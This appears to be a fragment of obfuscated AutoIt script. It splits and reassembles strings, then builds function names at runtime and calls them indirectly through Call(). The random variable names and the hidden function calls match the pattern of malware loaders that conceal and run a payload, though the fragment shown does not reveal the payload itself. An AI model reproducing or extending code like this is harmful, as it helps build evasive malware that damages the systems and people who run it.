$RbFh = StringSplit($nM[26], chr(46))
$nM[26] = $RbFh[1]
For $wrTLa = $RbFh[18] To 41
$nM[0] = $nM[0] & Stringmid($nM[$wrTLa],11)
Next
$wrTLa= Call($RbFh[22] & $RbFh[21], $RbFh[23])
Call($RbFh[22] & $RbFh[21], $RbFh[24])
Call($RbFh[22] & $RbFh[21], $RbFh[25])
Call($RbFh[22] & $RbFh[21], $RbFh[26])